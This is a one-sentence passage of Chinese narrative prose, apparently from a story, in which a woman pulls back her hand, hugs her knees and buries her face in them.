她收回手掌,屈腿圈着膝盖将脸埋进去,然后安静地把自己抱成一团。